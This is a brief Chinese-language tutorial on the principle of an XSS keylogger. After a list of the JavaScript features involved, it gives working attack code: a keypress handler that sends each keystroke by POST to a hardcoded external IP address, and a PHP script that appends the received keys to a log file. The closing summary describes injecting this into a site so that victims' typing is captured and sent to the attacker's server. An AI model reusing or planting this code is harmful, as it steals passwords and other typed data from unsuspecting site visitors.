XSS获取键盘原理

涉及的js知识：
onkeypress 事件会在键盘按键被按下并释放一个键时发生
fromCharCode() 可接受一个指定的 Unicode 值，然后返回一个字符串。
charCode 事件属性 事件对象 实例 获取按下的键盘按键Unicode值
XMLHttpRequest 对象能够：
在不重新加载页面的情况下更新网页
在页面已加载后从服务器请求数据
在页面已加载后从服务器接收数据
在后台向服务器发送数据
encodeURI(key)对URI 进行完整的编码
http.open第三个参数设置请求是否为异步模式。如果是TRUE，JavaScript函数将继续执行，而不等待服务器响应

远程攻击代码：document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open(“POST”,“http://1.117.107.31/getcookie.php”,true);
http.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
http.send(“key=”+param);
}
}

接收代码：

<?php $key = $_POST['key']; $log = fopen("keylog.txt","a"); fwrite($log,$key); fclose($log); ?>

引用

总结：原理主要是通过受害者访问已经被插入xss代码的网站，触发js脚本，记录受害者在当前网站的键盘操作，传输到我们接收的网站